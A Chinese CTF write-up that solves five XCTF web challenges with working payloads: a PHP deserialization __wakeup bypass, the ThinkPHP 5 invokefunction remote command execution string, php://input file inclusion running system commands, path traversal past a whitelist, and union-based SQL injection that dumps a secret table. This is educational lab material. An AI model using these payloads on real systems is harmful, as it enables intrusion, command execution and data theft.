unserialize3、php_rce、Web_php_include、warmup、NewsCenter

unserialize3

前言

PHP 魔术方法__wakeup()

作用:当使用unserialize()函数反序列化对象时,会自动调用对象的__wakeup()方法;这里的__wakeup()是"防护手段":反序列化时直接exit,阻止后续操作(比如获取$flag)。

漏洞原理:CVE-2016-7124(__wakeup()绕过)

PHP5.6.25之前、7.0.10之前存在一个漏洞:当序列化字符串中,对象的"属性个数"大于实际类的属性个数时,__wakeup()方法会被跳过,不执行。

解题

代码的意思:

复制代码
class xctf{

    public $flag = '111'; // 目标:获取真实flag(这里111是示例)

    public function __wakeup(){

        exit('bad requests'); // 防护:反序列化时自动执行,直接退出阻止漏洞利用

    }

}

?code= // 传入反序列化 payload 的入口

类xctf 只有1个公共属性$flag;

正常序列化结果(格式化后):

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

结构解析:O:类名长度:"类名":属性个数:{属性名:属性值,...};

漏洞利用:将"属性个数"从1改为2(大于实际个数1),即可绕过__wakeup():

O:4:"xctf":2:{s:4:"flag";s:3:"111";}。

把以上代码改成php代码

php 复制代码
<?php
class xctf
{
    public $flag = '111';
    public function __wakeup()
    {
        exit('bad requests');
    }
}
$a = new xctf();
print(serialize($a));
?>

运行后得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

把1改为2构造payload

php 复制代码
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag:cyberpeace{f4743f5cb4fc6042365a841a95c7cc16}

php_rce

前言

ThinkPHP V5 是 国内主流的 PHP 开发框架(ThinkPHP 框架的第 5 大版本,简称 TP5),基于 MVC 架构设计,主打 "简单、快速、安全",广泛用于中小型网站、API 接口、后台管理系统等开发场景。

程序未对控制器进行过滤,导致攻击者可以用\(斜杠)调用任意类方法。

漏洞利用

http://159.138.137.79:63571/index.php?s=index/think\\app/invokefunction\&function=call_user_func_array\&vars\[0\]=system\&vars\[1\]\[\]=要执行的命令

解题

构造payload:

php 复制代码
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

发现flag信息,继续进入flag目录

php 复制代码
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag

发现2个flag信息,读取信息

php 复制代码
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

发现flag:flag{thinkphp5_rce}

Web_php_include

前言

php://input是PHP中的一种内置伪协议 ,核心作用是读取 HTTP 请求体中的原始数据(不依赖_POST/_GET等超全局变量),常用于接收非表单格式的请求数据(如JSON、XML、二进制数据)或在文件包含漏洞中注入恶意代码。

解题

打开题目发现代码:

php 复制代码
<?php

show_source(__FILE__); // 显示当前文件源码(方便查看靶场逻辑)

echo $_GET['hello'];   // 输出 GET 参数 hello 的值(无实际作用,仅为干扰项)

$page = $_GET['page']; // 接收 GET 参数 page(文件包含的目标路径)

// 过滤逻辑:循环替换 "php://" 为空字符串(试图阻止 php 伪协议利用)

while (strstr($page, "php://")) {

    $page = str_replace("php://", "", $page);
}

include($page); // 包含处理后的 $page 文件(核心漏洞点)

?>

那么可以利用php://input伪协议读取文件,我们使用bp抓包,发送到重发器(Repeater)

构建url为61.147.171.103:63483?page=Php://input

用post方式传递php代码。

php 复制代码
<?php system('ls'); ?>

发现fl4gisisish3r3.php文件

查看该文件

php 复制代码
<?php system('cat fl4gisisish3r3.php'); ?> 

发现flag:flag=ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

warmup

打开题目,有点想笑

按F12查看源代码

发现source.php文件,直接去访问

得到另一个文件hint.php

直接访问

告诉我们flag在ffffllllaaaagggg里

php 复制代码
<?php
    // 高亮显示当前文件的源码(靶场常用,方便查看核心逻辑)
    highlight_file(__FILE__);

    // 定义一个名为 emmm 的类,核心作用是校验文件参数是否合法
    class emmm
    {
        // 静态方法:校验传入的 $page 参数(引用传递,不影响实际逻辑)
        public static function checkFile(&$page)
        {
            // 白名单:允许包含的合法文件(仅 source.php 和 hint.php)
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

            // 第一次校验:$page 未定义 或 不是字符串 → 非法请求
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it"; // 提示信息
                return false; // 返回false,拒绝包含
            }

            // 第二次校验:$page 完全匹配白名单中的值(精确匹配)
            if (in_array($page, $whitelist)) {
                return true; // 匹配成功,允许包含
            }

            // 第三次校验:截取 $page 中 "?" 之前的部分(处理带参数的请求)
            $_page = mb_substr(
                $page,                  // 待截取字符串
                0,                      // 起始位置(从0开始)
                mb_strpos($page . '?', '?') // 结束位置:找到第一个"?"的索引(拼接"?"避免无"?"时返回false)
            );
            // 截取后的值是否在白名单中(如 $page=source.php?xxx → 截取后为 source.php)
            if (in_array($_page, $whitelist)) {
                return true; // 匹配成功,允许包含
            }

            // 第四次校验:先对 $page 进行 URL 解码,再截取"?"之前的部分
            $_page = urldecode($page); // URL解码(处理编码后的参数)
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            // 解码+截取后的值是否在白名单中
            if (in_array($_page, $whitelist)) {
                return true; // 匹配成功,允许包含
            }
            // 所有校验都失败 → 非法请求
            echo "you can't see it";
            return false;
        }
    }
    // 外层参数校验:满足3个条件才执行文件包含
    if (! empty($_REQUEST['file'])          // 1. file 参数不为空
        && is_string($_REQUEST['file'])     // 2. file 参数是字符串类型
        && emmm::checkFile($_REQUEST['file']) // 3. 经过 emmm 类的 checkFile 方法校验通过
    ) {
        include $_REQUEST['file']; // 核心漏洞点:校验通过后包含 file 参数指定的文件
        exit; // 终止脚本执行
    } else {
        // 校验失败:输出一张搞笑图片(靶场常见反馈)
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    } 
?>

尝试使用php伪协议,发现没有用,对?进行url编码也没用

?file=hint.php?php://filter/convert.base64-encode/resource=ffffllllaaaagggg

?file=source.php%3FFphp://filter/convert.base64-encode/resource=ffffllllaaaagggg

可能是因为我们不知道ffffllllaaaagggg文件存放的具体位置

那我们不停的增加../,找到文件位置

?file=hint.php?/../ffffllllaaaagggg

?file=hint.php?/../../ffffllllaaaagggg

?file=hint.php?/../../../ffffllllaaaagggg

?file=hint.php?/../../../../ffffllllaaaagggg

发现flag:flag{25e7bce6005c4e0c983fb97297ac6e5a}

NewsCenter

打开题目

翻译一下英文

好吧,没啥用,发现在搜索框输入会得到不同结果,可能存在sql注入

判断闭合

php 复制代码
1'

是单引号闭合

判断字段数

sql 复制代码
1' order by 2 #

没有报错

sql 复制代码
1' order by 3 #

报错,说明只有3个字段

查询数据库

sql 复制代码
1' union select 1,2,database()#

查询表名

sql 复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#

发现两张表news,secret_table

查询secret_table表的字段

sql 复制代码
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='news'#

没有有用的信息

查询secret_table表的字段

sql 复制代码
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

发现字段:id,fl4g

查询fl4g的内容

sql 复制代码
1' union select 1,2,group_concat(fl4g) from secret_table#

得到flag:QCTF{sq1_inJec7ion_ezzz}

相关推荐
bleach-3 小时前
buuctf系列解题思路祥讲--[ZJCTF 2019]NiZhuanSiWei1——文件包含漏洞和伪协议的利用
安全·web安全·网络安全·php
思成不止于此3 小时前
【MySQL 零基础入门】DCL 核心语法全解析:用户管理与权限控制篇
数据库·笔记·sql·学习·mysql
weixin_447671993 小时前
【MySQL从节点异常断连后的Slave_SQL_Running 处于Connecting的解决方案】
android·sql·mysql
roman_日积跬步-终至千里3 小时前
【源码分析】StarRocks TRUNCATE 语句执行流程:从 SQL 到数据清空的完整旅程
java·数据库·sql
ClouGence3 小时前
从 0 到 1 构建 TDSQL MySQL 实时同步链路
数据库·分布式·sql·mysql
Hello.Reader4 小时前
Flink SQL 的 LIMIT 子句语义、坑点与实战技巧
sql·flink·wpf
bleach-4 小时前
文件描述符及Linux下利用反弹shell的各种方法
linux·websocket·web安全·网络安全·系统安全·信息与通信
Hello.Reader4 小时前
Flink SQL 集合运算UNION / INTERSECT / EXCEPT 以及 IN / EXISTS 在流式场景下怎么用?
数据库·sql·flink
Arva .5 小时前
详细描述一条 SQL 在 MySQL 中的执行过程
数据库·sql·mysql